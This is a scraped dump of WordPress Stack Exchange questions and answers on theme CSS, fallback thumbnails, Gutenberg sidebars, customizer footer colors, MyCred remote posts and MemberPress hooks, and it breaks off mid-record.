content: url("https://www.example.com/example/wp-content/uploads/Logo_Wide_2x.png");
width: 300px;
}
}
```
It works in Chrome but not Firefox.
I've tried adding :before and :after and adding an `a` tag, as suggested on other answers, but none of that works.
Can anyone suggest what's wrong, and how I can get this to work on Firefox?
Here is the html:
```
<div class="site-branding">
<a href="https://www.example.com/example/aa00/" class="custom-logo-link" rel="home" itemprop="url"><img src="https://www.example.com/example/aa00/wp-content/uploads/sites/2/2019/04/cropped-Logo_248_2x.png" class="custom-logo" alt="Seed" itemprop="logo" srcset="https://www.example.com/example/aa00/wp-content/uploads/sites/2/2019/04/cropped-Logo_248_2x.png 248w, https://www.example.com/example/aa00/wp-content/uploads/sites/2/2019/04/cropped-Logo_248_2x-150x150.png 150w" sizes="(max-width: 248px) 100vw, 248px" width="248" height="248"></a>
</div>
``` | Instead of trying to change the URL of the img tag, use your media query to hide the image and change the `:before` of your `<a>`. Like this...
```
@media screen and (max-width: 59.6875em) {
.site-branding img {
display:none;
}
.site-branding a::before {
content: url("https://www.example.com/example/wp-content/uploads/Logo_Wide_2x.png");
}
}
``` |
335,016 | <p>I changed my Wordpress folder name in htdocs as localhost/ecom/ and now when I try to access localhost/ecom/wp-admin/ it shows page not found</p>
| [
{
"answer_id": 334986,
"author": "Iisrael",
"author_id": 165195,
"author_profile": "https://wordpress.stackexchange.com/users/165195",
"pm_score": -1,
"selected": false,
"text": "<p>This can be done with classes for each screen size and media queries. I saw this answered on this page originally: <a href=\"https://stackoverflow.com/questions/34984737/display-a-different-logo-on-mobile-and-desktop\">https://stackoverflow.com/questions/34984737/display-a-different-logo-on-mobile-and-desktop</a></p>\n\n<pre><code><style>\n/* hide mobile version by default */\n.logo .mobile {\ndisplay: none;\n }\n\n/* when screen is less than 59.6875em wide\n show mobile version and hide desktop */\n@media (max-width: 59.6875em) {\n.logo .mobile {\n display: block;\n}\n.logo .desktop {\n display: none;\n}\n}\n</style>\n\n<div class=\"logo\">\n <img src=\"/images/logo_desktop.png\" class=\"desktop\" />\n <img src=\"/images/logo_mobile.png\" class=\"mobile />\n</div>\n</code></pre>\n"
},
{
"answer_id": 334994,
"author": "RiddleMeThis",
"author_id": 86845,
"author_profile": "https://wordpress.stackexchange.com/users/86845",
"pm_score": 2,
"selected": true,
"text": "<p>Instead of trying to change the URL of the img tag, use your media query to hide the image and change the <code>:before</code> of your <code><a></code>. Like this...</p>\n\n<pre><code>@media screen and (max-width: 59.6875em) {\n .site-branding img {\n display:none;\n }\n .site-branding a::before {\n content: url(\"https://www.example.com/example/wp-content/uploads/Logo_Wide_2x.png\");\n }\n}\n</code></pre>\n"
}
] | 2019/04/22 | [
"https://wordpress.stackexchange.com/questions/335016",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165575/"
] | I changed my Wordpress folder name in htdocs as localhost/ecom/ and now when I try to access localhost/ecom/wp-admin/ it shows page not found | Instead of trying to change the URL of the img tag, use your media query to hide the image and change the `:before` of your `<a>`. Like this...
```
@media screen and (max-width: 59.6875em) {
.site-branding img {
display:none;
}
.site-branding a::before {
content: url("https://www.example.com/example/wp-content/uploads/Logo_Wide_2x.png");
}
}
``` |
335,112 | <p>I am a game developer, not very familiar with web programming. I am trying to tie my website point system, MyCred, into my games. Mycred has code snippets for interacting with the points from another site. I use their snippet, but I keep getting this error:</p>
<blockquote>
<p><b>Fatal error</b>: require(): Failed opening required 'WP_DIRwp-blog-header.php' (include_path='.:/usr/lib/php7.2') in <b>/homepages/24/d773619225/htdocs/clickandbuilds/SefronGames/Gameconnect/KC.php</b> on line <b>2</b><br /></p>
</blockquote>
<p>I have searched the web and tried adding code to top to load the wp, but doesn't work. Still throws the error. Here is the php code I am having an issue with:</p>
<pre><code><?php
require WP_DIR.'wp-blog-header.php';
$secret_key = 'I took this off to protect info';
$remote_url = 'I took this off to protect info ';
$action = 'CREDIT';
$account = '[email protected]';
$amount = 10;
$ref = 'reference';
$ref_id = 0;
$entry = 'Points for viewing video';
$data = 'optional extra';
$point_type = 'Kanobia Credit';
$host = get_bloginfo( 'url' );
$token = md5( $host . $action . $amount . $secret_key );
$request = array(
'method' => 'POST',
'body' => array(
'action' => $action,
'account' => $account,
'amount' => $amount,
'ref' => $ref,
'ref_id' => $ref_id,
'type' => $point_type,
'entry' => $entry,
'data' => $data,
'token' => $token,
'host' => $host
)
);
$response = wp_remote_post( $remote_url, $request );
?>
</code></pre>
| [
{
"answer_id": 335114,
"author": "Welcher",
"author_id": 27210,
"author_profile": "https://wordpress.stackexchange.com/users/27210",
"pm_score": 1,
"selected": false,
"text": "<p>It looks as though <code>WP_DIR</code> is being interpreted as a string. Is that constant defined anywhere before this code is being run?</p>\n\n<p>My guess is that it is not as PHP will assume it's a string and that is why the location is <code>WP_DIRwp-blog-header.php</code> and not an actual file path.</p>\n\n<p>Hope this helps!</p>\n"
},
{
"answer_id": 336144,
"author": "Ron Bonomo",
"author_id": 165631,
"author_profile": "https://wordpress.stackexchange.com/users/165631",
"pm_score": 0,
"selected": false,
"text": "<p>No it isn't. I was reading other forums on the topic, were others had the error. And people posted to put that WP_DIR snippet at the top to get wordpress ability. That the error is because it needs stuff from wordpress that wasn't being recognized. with out that at the top my error is</p>\n<p><b>Fatal error</b>: Uncaught Error: Call to undefined function get_bloginfo() in /homepages/24/d773619225/htdocs/clickandbuilds/SefronGames/Gameconnect/KC.php:14\nStack trace:</p>\n<h1>0 {main}</h1>\n<p>thrown in <b>/homepages/24/d773619225/htdocs/clickandbuilds/SefronGames/Gameconnect/KC.php</b> on line <b>14</b><br />\nAnd other people said that putting the call to load wordpress stuff at the top fixed it for them. So I tried, but doesn't work for me</p>\n"
}
] | 2019/04/23 | [
"https://wordpress.stackexchange.com/questions/335112",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165631/"
] | I am a game developer, not very familiar with web programming. I am trying to tie my website point system, MyCred, into my games. Mycred has code snippets for interacting with the points from another site. I use their snippet, but I keep getting this error:
>
> **Fatal error**: require(): Failed opening required 'WP\_DIRwp-blog-header.php' (include\_path='.:/usr/lib/php7.2') in **/homepages/24/d773619225/htdocs/clickandbuilds/SefronGames/Gameconnect/KC.php** on line **2**
>
>
>
>
I have searched the web and tried adding code to top to load the wp, but doesn't work. Still throws the error. Here is the php code I am having an issue with:
```
<?php
require WP_DIR.'wp-blog-header.php';
$secret_key = 'I took this off to protect info';
$remote_url = 'I took this off to protect info ';
$action = 'CREDIT';
$account = '[email protected]';
$amount = 10;
$ref = 'reference';
$ref_id = 0;
$entry = 'Points for viewing video';
$data = 'optional extra';
$point_type = 'Kanobia Credit';
$host = get_bloginfo( 'url' );
$token = md5( $host . $action . $amount . $secret_key );
$request = array(
'method' => 'POST',
'body' => array(
'action' => $action,
'account' => $account,
'amount' => $amount,
'ref' => $ref,
'ref_id' => $ref_id,
'type' => $point_type,
'entry' => $entry,
'data' => $data,
'token' => $token,
'host' => $host
)
);
$response = wp_remote_post( $remote_url, $request );
?>
``` | It looks as though `WP_DIR` is being interpreted as a string. Is that constant defined anywhere before this code is being run?
My guess is that it is not as PHP will assume it's a string and that is why the location is `WP_DIRwp-blog-header.php` and not an actual file path.
Hope this helps! |
336,162 | <p>I have tried many options but without luck. It should be very simple approach but does not produce results. I am trying to insert default fallback image if there is no featured image in the post. My code that produces the thumbnail:</p>
<pre><code> <?php if ( has_post_thumbnail() ): ?>
<div class="post-card__image">
<a href="<?php the_permalink(); ?>">
<?php the_post_thumbnail( 'post-card-cropped' ); ?>
</a>
</div>
</code></pre>
| [
{
"answer_id": 336170,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>So you were almost there...</p>\n\n<pre><code><?php if ( has_post_thumbnail() ) : ?>\n<div class=\"post-card__image\">\n <a href=\"<?php the_permalink(); ?>\">\n <?php the_post_thumbnail( 'post-card-cropped' ); ?>\n </a>\n</div>\n<?php else : ?>\n <!—-... here goes your fallback —->\n <?php echo wp_get_attachment_image( 10, 'post-card-cropped' ); ?>\n<?php endif; ?>\n</code></pre>\n\n<p>In the example above I’m using attachment with ID 10 as default fallback image. But of course you can go further and create an customizable option for this. Or use some static html code/static image... the choice is yours.</p>\n"
},
{
"answer_id": 336175,
"author": "Vasim Shaikh",
"author_id": 87704,
"author_profile": "https://wordpress.stackexchange.com/users/87704",
"pm_score": 2,
"selected": false,
"text": "<p><strong>Method 1: Set Default Fallback Image for Post Thumbnails Using Plugin</strong></p>\n\n<p>This method is easier and recommended for all users.</p>\n\n<p>First thing you need to do is install and activate the Default Featured Image plugin.</p>\n\n<p><a href=\"https://wordpress.org/plugins/default-featured-image/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/default-featured-image/</a></p>\n\n<p><strong>Method 2: Add Fallback Image as Post Thumbnail Manually</strong></p>\n\n<p>Your theme’s images folder is located inside /wp-content/themes/yur-theme/ folder. If it doesn’t have the images folder, then you need to create it.</p>\n\n<p>After you have uploaded the image to your website, the next step is to tell WordPress to look for this image when a post doesn’t have its own post thumbnail.</p>\n\n<p>Your WordPress theme displays post thumbnails in various places. You need to look for the_post_thumbnail() function in theme files. Typically, you’ll find it in archive.php, single.php, or content templates.</p>\n\n<p>Next, you need to add the following code where you want to display post thumbnail.</p>\n\n<pre><code><?php if ( has_post_thumbnail() ) {\nthe_post_thumbnail();\n} else { ?>\n<img src=\"<?php bloginfo('template_directory'); ?>/images/default-image.jpg\" alt=\"<?php the_title(); ?>\" />\n<?php } ?>\n</code></pre>\n\n<p>Don’t forget to replace default-image.jpg with your own image file name.</p>\n"
},
{
"answer_id": 384127,
"author": "Nuno Sarmento",
"author_id": 75461,
"author_profile": "https://wordpress.stackexchange.com/users/75461",
"pm_score": 2,
"selected": false,
"text": "<p>We can set a default image with the code below.</p>\n<pre><code>/**\n * Default post thumbnail image.\n *\n * @param string $html The Output HTML of the post thumbnail\n * @param int $post_id The post ID\n * @param int $post_thumbnail_id The attachment id of the image\n * @param string $size The size requested or default\n * @param mixed string/array $attr Query string or array of attributes\n * @return string $html the Output HTML of the post thumbnail\n */\nfunction ns_post_thumbnail_fb( $html, $post_id, $post_thumbnail_id, $size, $attr ) {\n if ( empty( $html ) ) {\n return sprintf(\n '<img src="%s" height="%s" width="%s" />',\n home_url().'/wp-content/uploads/2021/02/hub-logo-dummy.png',\n get_option( 'thumbnail_size_w' ),\n get_option( 'thumbnail_size_h' )\n );\n}\n\nreturn $html;\n}\nadd_filter( 'post_thumbnail_html', 'ns_post_thumbnail_fb', 20, 5 );\n</code></pre>\n"
}
] | 2019/04/24 | [
"https://wordpress.stackexchange.com/questions/336162",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/162254/"
] | I have tried many options but without luck. It should be very simple approach but does not produce results. I am trying to insert default fallback image if there is no featured image in the post. My code that produces the thumbnail:
```
<?php if ( has_post_thumbnail() ): ?>
<div class="post-card__image">
<a href="<?php the_permalink(); ?>">
<?php the_post_thumbnail( 'post-card-cropped' ); ?>
</a>
</div>
``` | **Method 1: Set Default Fallback Image for Post Thumbnails Using Plugin**
This method is easier and recommended for all users.
First thing you need to do is install and activate the Default Featured Image plugin.
<https://wordpress.org/plugins/default-featured-image/>
**Method 2: Add Fallback Image as Post Thumbnail Manually**
Your theme’s images folder is located inside /wp-content/themes/yur-theme/ folder. If it doesn’t have the images folder, then you need to create it.
After you have uploaded the image to your website, the next step is to tell WordPress to look for this image when a post doesn’t have its own post thumbnail.
Your WordPress theme displays post thumbnails in various places. You need to look for the\_post\_thumbnail() function in theme files. Typically, you’ll find it in archive.php, single.php, or content templates.
Next, you need to add the following code where you want to display post thumbnail.
```
<?php if ( has_post_thumbnail() ) {
the_post_thumbnail();
} else { ?>
<img src="<?php bloginfo('template_directory'); ?>/images/default-image.jpg" alt="<?php the_title(); ?>" />
<?php } ?>
```
Don’t forget to replace default-image.jpg with your own image file name. |
336,165 | <p>i have different CPT ( hotel, market, city, etc… )</p>
<p>My relationship field is used to link CPT to cities (CITY).</p>
<p>Now in a page ( hotel page ) i want to link “other hotels in same city”.</p>
<p>how can i make my query ? I know how to do a query by ID with the ID of actual page, but what i need is :</p>
<p>$city = get_field(‘contact_city’);
$query = display all hotels with contact_city as $city</p>
<p>But i didn’t find any solution.</p>
| [
{
"answer_id": 336170,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>So you were almost there...</p>\n\n<pre><code><?php if ( has_post_thumbnail() ) : ?>\n<div class=\"post-card__image\">\n <a href=\"<?php the_permalink(); ?>\">\n <?php the_post_thumbnail( 'post-card-cropped' ); ?>\n </a>\n</div>\n<?php else : ?>\n <!—-... here goes your fallback —->\n <?php echo wp_get_attachment_image( 10, 'post-card-cropped' ); ?>\n<?php endif; ?>\n</code></pre>\n\n<p>In the example above I’m using attachment with ID 10 as default fallback image. But of course you can go further and create an customizable option for this. Or use some static html code/static image... the choice is yours.</p>\n"
},
{
"answer_id": 336175,
"author": "Vasim Shaikh",
"author_id": 87704,
"author_profile": "https://wordpress.stackexchange.com/users/87704",
"pm_score": 2,
"selected": false,
"text": "<p><strong>Method 1: Set Default Fallback Image for Post Thumbnails Using Plugin</strong></p>\n\n<p>This method is easier and recommended for all users.</p>\n\n<p>First thing you need to do is install and activate the Default Featured Image plugin.</p>\n\n<p><a href=\"https://wordpress.org/plugins/default-featured-image/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/default-featured-image/</a></p>\n\n<p><strong>Method 2: Add Fallback Image as Post Thumbnail Manually</strong></p>\n\n<p>Your theme’s images folder is located inside /wp-content/themes/yur-theme/ folder. If it doesn’t have the images folder, then you need to create it.</p>\n\n<p>After you have uploaded the image to your website, the next step is to tell WordPress to look for this image when a post doesn’t have its own post thumbnail.</p>\n\n<p>Your WordPress theme displays post thumbnails in various places. You need to look for the_post_thumbnail() function in theme files. Typically, you’ll find it in archive.php, single.php, or content templates.</p>\n\n<p>Next, you need to add the following code where you want to display post thumbnail.</p>\n\n<pre><code><?php if ( has_post_thumbnail() ) {\nthe_post_thumbnail();\n} else { ?>\n<img src=\"<?php bloginfo('template_directory'); ?>/images/default-image.jpg\" alt=\"<?php the_title(); ?>\" />\n<?php } ?>\n</code></pre>\n\n<p>Don’t forget to replace default-image.jpg with your own image file name.</p>\n"
},
{
"answer_id": 384127,
"author": "Nuno Sarmento",
"author_id": 75461,
"author_profile": "https://wordpress.stackexchange.com/users/75461",
"pm_score": 2,
"selected": false,
"text": "<p>We can set a default image with the code below.</p>\n<pre><code>/**\n * Default post thumbnail image.\n *\n * @param string $html The Output HTML of the post thumbnail\n * @param int $post_id The post ID\n * @param int $post_thumbnail_id The attachment id of the image\n * @param string $size The size requested or default\n * @param mixed string/array $attr Query string or array of attributes\n * @return string $html the Output HTML of the post thumbnail\n */\nfunction ns_post_thumbnail_fb( $html, $post_id, $post_thumbnail_id, $size, $attr ) {\n if ( empty( $html ) ) {\n return sprintf(\n '<img src="%s" height="%s" width="%s" />',\n home_url().'/wp-content/uploads/2021/02/hub-logo-dummy.png',\n get_option( 'thumbnail_size_w' ),\n get_option( 'thumbnail_size_h' )\n );\n}\n\nreturn $html;\n}\nadd_filter( 'post_thumbnail_html', 'ns_post_thumbnail_fb', 20, 5 );\n</code></pre>\n"
}
] | 2019/04/24 | [
"https://wordpress.stackexchange.com/questions/336165",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/139936/"
] | i have different CPT ( hotel, market, city, etc… )
My relationship field is used to link CPT to cities (CITY).
Now in a page ( hotel page ) i want to link “other hotels in same city”.
how can i make my query ? I know how to do a query by ID with the ID of actual page, but what i need is :
$city = get\_field(‘contact\_city’);
$query = display all hotels with contact\_city as $city
But i didn’t find any solution. | **Method 1: Set Default Fallback Image for Post Thumbnails Using Plugin**
This method is easier and recommended for all users.
First thing you need to do is install and activate the Default Featured Image plugin.
<https://wordpress.org/plugins/default-featured-image/>
**Method 2: Add Fallback Image as Post Thumbnail Manually**
Your theme’s images folder is located inside /wp-content/themes/yur-theme/ folder. If it doesn’t have the images folder, then you need to create it.
After you have uploaded the image to your website, the next step is to tell WordPress to look for this image when a post doesn’t have its own post thumbnail.
Your WordPress theme displays post thumbnails in various places. You need to look for the\_post\_thumbnail() function in theme files. Typically, you’ll find it in archive.php, single.php, or content templates.
Next, you need to add the following code where you want to display post thumbnail.
```
<?php if ( has_post_thumbnail() ) {
the_post_thumbnail();
} else { ?>
<img src="<?php bloginfo('template_directory'); ?>/images/default-image.jpg" alt="<?php the_title(); ?>" />
<?php } ?>
```
Don’t forget to replace default-image.jpg with your own image file name. |
336,218 | <p>I hid the custom sidebar from Wordpress example
<a href="https://wordpress.org/gutenberg/handbook/designers-developers/developers/tutorials/plugin-sidebar-0/" rel="nofollow noreferrer">https://wordpress.org/gutenberg/handbook/designers-developers/developers/tutorials/plugin-sidebar-0/</a> by pressing remove from toolbar star in the panel. How to get this toolbar again (I can only rename plugin name in the code to see it again)?
It looks like Gutenberg is saving somewhere it's settings. Where?
Thanks</p>
| [
{
"answer_id": 336219,
"author": "Lovor",
"author_id": 135704,
"author_profile": "https://wordpress.stackexchange.com/users/135704",
"pm_score": 1,
"selected": false,
"text": "<p>I found an answer - settings are hidden in local storage in browser. Deleting it restores the sidebar. If someone knows how to disable this \"star\" option to hide the panel, I would be grateful</p>\n"
},
{
"answer_id": 336223,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 3,
"selected": true,
"text": "<p>No code changes are necessary, it can be done entirely in the UI. Sidebars appear in the 3 dot drop down menu, the star is just a way to add a shortcut to the top toolbar, e.g. here are the Yoast and Jetpack sidebars listed:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Qb2qr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Qb2qr.png\" alt=\"enter image description here\"></a></p>\n\n<p>Clicking on those options brings up their sidebars, as well as the unchecked star that can be used to re-add them to the top toolbar. In the image above, I had unchecked the star on the yoast sidebar, just as you had with your own sidebar</p>\n\n<p><strong>edit</strong></p>\n\n<p>On further investigation, I've replicated the issue and raised a bug on the Gutenberg repo</p>\n\n<p>I also notice that there's what appears to be a more complete example here:</p>\n\n<p><a href=\"https://wordpress.org/gutenberg/handbook/designers-developers/developers/packages/packages-plugins/\" rel=\"nofollow noreferrer\">https://wordpress.org/gutenberg/handbook/designers-developers/developers/packages/packages-plugins/</a></p>\n\n<p>So it appears that the handbooks code example is incomplete, and that you need to specify a component of type <code>PluginSidebarMoreMenuItem</code> in addition to the sidebar itself in order for it to show up as I described above</p>\n\n<pre><code>// Using ES5 syntax\nvar el = wp.element.createElement;\nvar Fragment = wp.element.Fragment;\nvar PluginSidebar = wp.editPost.PluginSidebar;\nvar PluginSidebarMoreMenuItem = wp.editPost.PluginSidebarMoreMenuItem;\nvar registerPlugin = wp.plugins.registerPlugin;\n\nfunction Component() {\n return el(\n Fragment,\n {},\n el(\n PluginSidebarMoreMenuItem,\n {\n target: 'sidebar-name',\n },\n 'My Sidebar'\n ),\n el(\n PluginSidebar,\n {\n name: 'sidebar-name',\n title: 'My Sidebar',\n },\n 'Content of the sidebar'\n )\n );\n}\nregisterPlugin( 'plugin-name', {\n icon: 'smiley',\n render: Component,\n} );\n\n</code></pre>\n"
}
] | 2019/04/24 | [
"https://wordpress.stackexchange.com/questions/336218",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135704/"
] | I hid the custom sidebar from Wordpress example
<https://wordpress.org/gutenberg/handbook/designers-developers/developers/tutorials/plugin-sidebar-0/> by pressing remove from toolbar star in the panel. How to get this toolbar again (I can only rename plugin name in the code to see it again)?
It looks like Gutenberg is saving somewhere it's settings. Where?
Thanks | No code changes are necessary, it can be done entirely in the UI. Sidebars appear in the 3 dot drop down menu, the star is just a way to add a shortcut to the top toolbar, e.g. here are the Yoast and Jetpack sidebars listed:
[](https://i.stack.imgur.com/Qb2qr.png)
Clicking on those options brings up their sidebars, as well as the unchecked star that can be used to re-add them to the top toolbar. In the image above, I had unchecked the star on the yoast sidebar, just as you had with your own sidebar
**edit**
On further investigation, I've replicated the issue and raised a bug on the Gutenberg repo
I also notice that there's what appears to be a more complete example here:
<https://wordpress.org/gutenberg/handbook/designers-developers/developers/packages/packages-plugins/>
So it appears that the handbooks code example is incomplete, and that you need to specify a component of type `PluginSidebarMoreMenuItem` in addition to the sidebar itself in order for it to show up as I described above
```
// Using ES5 syntax
var el = wp.element.createElement;
var Fragment = wp.element.Fragment;
var PluginSidebar = wp.editPost.PluginSidebar;
var PluginSidebarMoreMenuItem = wp.editPost.PluginSidebarMoreMenuItem;
var registerPlugin = wp.plugins.registerPlugin;
function Component() {
return el(
Fragment,
{},
el(
PluginSidebarMoreMenuItem,
{
target: 'sidebar-name',
},
'My Sidebar'
),
el(
PluginSidebar,
{
name: 'sidebar-name',
title: 'My Sidebar',
},
'Content of the sidebar'
)
);
}
registerPlugin( 'plugin-name', {
icon: 'smiley',
render: Component,
} );
``` |
336,236 | <p>I've seen theme support (add_theme_support) for "custom-header", "custom-background" and "custom-logo", but not for footer (footer colur or image). </p>
<p>Is there no option to let users choose footer color or image via "Appearance" --> "Customize"? </p>
<p>Thank you for your advice!</p>
| [
{
"answer_id": 336238,
"author": "Vishwa",
"author_id": 120712,
"author_profile": "https://wordpress.stackexchange.com/users/120712",
"pm_score": 3,
"selected": true,
"text": "<p>You can use following class put inside your theme's functions.php file. Theme Customization API will render the custom color selector control on the Theme customizer from this.</p>\n\n<pre><code>class MyTheme_Customize {\npublic static function register ( $wp_customize ) {\n$wp_customize->add_section( 'mytheme_options', \narray(\n'title' => __('MyTheme Options RR', 'twentynineteen' ), //Visible title of section\n'priority' => 3, //Determines what order this appears in\n'capability' => 'edit_theme_options', //Capability needed to tweak\n'description' => __('Allows you to customize some example settings for MyTheme.', 'twentynineteen'), //Descriptive tooltip\n) \n);\n\n//2. Register new settings to the WP database...\n$wp_customize->add_setting( 'link_textcolor',\narray(\n'default' => '#333333', //Default setting/value to save\n'type' => 'theme_mod', //Is this an 'option' or a 'theme_mod'?\n'capability' => 'edit_theme_options', //Optional. Special permissions for accessing this setting.\n'transport' => 'refresh', //What triggers a refresh of the setting? 'refresh' or 'postMessage' (instant)?\n'sanitize_callback' => 'esc_attr', //sanitization (optional?)\n) \n); \n\n//3. Finally, we define the control itself (which links a setting to a section and renders the HTML controls)...\n$wp_customize->add_control( new WP_Customize_Color_Control(\n$wp_customize, //Pass the $wp_customize object (required)\n'mytheme_link_textcolor', //Set a unique ID for the control\narray(\n'label' => __( 'Footer Background Color', 'twentynineteen' ), //Admin-visible name of the control\n'settings' => 'link_textcolor', //Which setting to load and manipulate (serialized is okay)\n'priority' => 10, //Determines the order this control appears in for the specified section\n'section' => 'colors', //ID of the section this control should render in (can be one of yours, or a WordPress default section)\n) \n) );\n\n//4. We can also change built-in settings by modifying properties. For instance, let's make some stuff use live preview JS...\n$wp_customize->get_setting( 'blogname' )->transport = 'refresh';\n$wp_customize->get_setting( 'blogdescription' )->transport = 'refresh';\n$wp_customize->get_setting( 'header_textcolor' )->transport = 'refresh';\n$wp_customize->get_setting( 'background_color' )->transport = 'refresh';\n\n}\n\npublic static function header_output() {\n?>\n<!--Theme Customizer CSS--> \n<style type=\"text/css\"> \n<?php self::generate_css('#footer', 'color', 'link_textcolor'); ?>\n</style> \n<!--/Theme Customizer CSS-->\n<?php\n}\n\npublic static function generate_css( $selector, $style, $mod_name, $prefix='', $postfix='', $echo=true ) {\n$return = '';\n$mod = get_theme_mod($mod_name);\nif ( ! empty( $mod ) ) {\n$return = sprintf('%s { %s:%s; }',\n$selector,\n$style,\n$prefix.$mod.$postfix\n);\nif ( $echo ) {\necho $return;\n}\n}\nreturn $return;\n}\n}\n\n// Setup the Theme Customizer settings and controls...\nadd_action( 'customize_register' , array( 'MyTheme_Customize' , 'register' ) );\n\n// Output custom CSS to live site\nadd_action( 'wp_head' , array( 'MyTheme_Customize' , 'header_output' ) );\n</code></pre>\n\n<p><strong>Note</strong>: You should change theme name (twentynineteen) to your theme's name. just use search and replace</p>\n"
},
{
"answer_id": 383832,
"author": "Babita Verma",
"author_id": 202315,
"author_profile": "https://wordpress.stackexchange.com/users/202315",
"pm_score": 0,
"selected": false,
"text": "<p>I have the same query but i need to add color, fontsize and fontstyle at header and footer both.\nif i add this function to my custom theme then it shows color options for footer<br />\nat customizer only its not changing color at the frontend.</p>\n<p>Thank you in advance\nBabita</p>\n"
}
] | 2019/04/25 | [
"https://wordpress.stackexchange.com/questions/336236",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165464/"
] | I've seen theme support (add\_theme\_support) for "custom-header", "custom-background" and "custom-logo", but not for footer (footer colur or image).
Is there no option to let users choose footer color or image via "Appearance" --> "Customize"?
Thank you for your advice! | You can use following class put inside your theme's functions.php file. Theme Customization API will render the custom color selector control on the Theme customizer from this.
```
class MyTheme_Customize {
public static function register ( $wp_customize ) {
$wp_customize->add_section( 'mytheme_options',
array(
'title' => __('MyTheme Options RR', 'twentynineteen' ), //Visible title of section
'priority' => 3, //Determines what order this appears in
'capability' => 'edit_theme_options', //Capability needed to tweak
'description' => __('Allows you to customize some example settings for MyTheme.', 'twentynineteen'), //Descriptive tooltip
)
);
//2. Register new settings to the WP database...
$wp_customize->add_setting( 'link_textcolor',
array(
'default' => '#333333', //Default setting/value to save
'type' => 'theme_mod', //Is this an 'option' or a 'theme_mod'?
'capability' => 'edit_theme_options', //Optional. Special permissions for accessing this setting.
'transport' => 'refresh', //What triggers a refresh of the setting? 'refresh' or 'postMessage' (instant)?
'sanitize_callback' => 'esc_attr', //sanitization (optional?)
)
);
//3. Finally, we define the control itself (which links a setting to a section and renders the HTML controls)...
$wp_customize->add_control( new WP_Customize_Color_Control(
$wp_customize, //Pass the $wp_customize object (required)
'mytheme_link_textcolor', //Set a unique ID for the control
array(
'label' => __( 'Footer Background Color', 'twentynineteen' ), //Admin-visible name of the control
'settings' => 'link_textcolor', //Which setting to load and manipulate (serialized is okay)
'priority' => 10, //Determines the order this control appears in for the specified section
'section' => 'colors', //ID of the section this control should render in (can be one of yours, or a WordPress default section)
)
) );
//4. We can also change built-in settings by modifying properties. For instance, let's make some stuff use live preview JS...
$wp_customize->get_setting( 'blogname' )->transport = 'refresh';
$wp_customize->get_setting( 'blogdescription' )->transport = 'refresh';
$wp_customize->get_setting( 'header_textcolor' )->transport = 'refresh';
$wp_customize->get_setting( 'background_color' )->transport = 'refresh';
}
public static function header_output() {
?>
<!--Theme Customizer CSS-->
<style type="text/css">
<?php self::generate_css('#footer', 'color', 'link_textcolor'); ?>
</style>
<!--/Theme Customizer CSS-->
<?php
}
public static function generate_css( $selector, $style, $mod_name, $prefix='', $postfix='', $echo=true ) {
$return = '';
$mod = get_theme_mod($mod_name);
if ( ! empty( $mod ) ) {
$return = sprintf('%s { %s:%s; }',
$selector,
$style,
$prefix.$mod.$postfix
);
if ( $echo ) {
echo $return;
}
}
return $return;
}
}
// Setup the Theme Customizer settings and controls...
add_action( 'customize_register' , array( 'MyTheme_Customize' , 'register' ) );
// Output custom CSS to live site
add_action( 'wp_head' , array( 'MyTheme_Customize' , 'header_output' ) );
```
**Note**: You should change theme name (twentynineteen) to your theme's name. just use search and replace |
336,281 | <p>I'm currently working on a website where users can purchase subscriptions using memberpress, I want to capture the user data after the signup process is completed and the payment transaction is also completed as well. If I add the member through dashboard manually I'm able to catch the user info as there is no payment gateway is involved, with this code</p>
<pre><code> function mepr_capture_new_member_added($event) {
$user = $event->get_data();
//mail('myemail', 'mp user added', 'new user added successfully');
}
add_action('mepr-event-member-added', 'mepr_capture_new_member_added');
</code></pre>
<p>As I'm new to WordPress development I don't know how I can access this data on my other page templates, that's why I'm sending an email to test if it works or not I was able to figure out the action hook for the transaction-completed event, but it doesn't seem to work properly. Here is the code</p>
<pre><code>function mepr_capture_new_one_time_sub($event) {
$transaction = $event->get_data();
$user = $transaction->user();
//mail('myemail', 'user purchased subscription', 'user-transaction-completed event captured '); }
add_action('mepr-event-non-recurring-transaction-completed', 'mepr_capture_new_one_time_sub');
</code></pre>
<p>I've read the complete memberpress documentation but the resources related to development are not what I'm looking for, they gave an option for webhooks and I can capture the data on zapier after user signup and payment transaction is completed but I need the data on my website so Zapier is not an option, they also provide the rest API but I want to capture the user information on 'signup and transaction complete' event and I don't think so that's possible with rest API, Please let me know how I can overcome this issue, any kind of help will be appreciated.</p>
| [
{
"answer_id": 336419,
"author": "RBD",
"author_id": 166745,
"author_profile": "https://wordpress.stackexchange.com/users/166745",
"pm_score": 1,
"selected": false,
"text": "<p>After searching for about 2 days I was able to figure out a way to capture the user after signup process is completed and the user's payment goes through the payment gateway, the way I'm doing it right now is when a signup process is completed user is redirected to thank-you page and a querystring containing subscr_id is passed on that page and I'm capturing that subscr_id and fetching the user from the database manually and its working perfectly fine, the process is seamless, and I can use the data on my other page templates as well.</p>\n\n<p>You can simply get subscr_id from $_GET['subscr_id'] and use that to capture the user associated with this subscription from the table 'wp_mepr_subscriptions' and then use the user id to fetch the user detail from 'wp_usermeta' table of the wordpress, hope it helps someone else :)</p>\n"
},
{
"answer_id": 358196,
"author": "Jordan",
"author_id": 153598,
"author_profile": "https://wordpress.stackexchange.com/users/153598",
"pm_score": 0,
"selected": false,
